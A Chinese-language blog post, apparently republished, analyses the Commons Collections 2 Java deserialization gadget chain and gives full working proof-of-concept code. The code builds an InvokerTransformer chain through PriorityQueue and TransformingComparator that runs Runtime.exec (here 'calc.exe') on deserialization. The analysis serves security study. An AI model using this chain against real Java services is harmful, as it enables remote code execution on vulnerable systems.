[Java反序列化]Java-CommonsCollections2利用链分析
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]Java-CommonsCollections2利用链分析相关的知识,希望对你有一定的参考价值。
Java-CommonsCollections2利用链分析
简单来说CC2就是从 Serializable
的readObject()
⽅法到 Transformer
的transform()
⽅法的调⽤链
看一看具体流程,Serializable
的readObject()
⽅法调用heapify
方法
调用siftDown
方法
调用siftDownUsingComparator
方法
最后到了TransformingComparator
下的compare
方法
所以我们只需要把ChainedTransformer
对象传入TransformingComparator
的构造方法即可,这个链子一点都不难
知道了大概流程以后现在具体来扣下细节,首先我们按照这个思路编写payload
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
发现并没有弹出计算器,我们来看看为什么,可以发现此时size
为0
,我们要保证这个size右移动一位-1大于等于0,其实直接设置为我们的初始化大小即可,这里是2
那什么操作可以让这个size
增加呢,可以看见offer
函数里面实现了
因此我们只需要再加上两行代码即可
queue.offer(1);
queue.offer(1);
成功执行计算器
以上是关于[Java反序列化]Java-CommonsCollections2利用链分析的主要内容,如果未能解决你的问题,请参考以下文章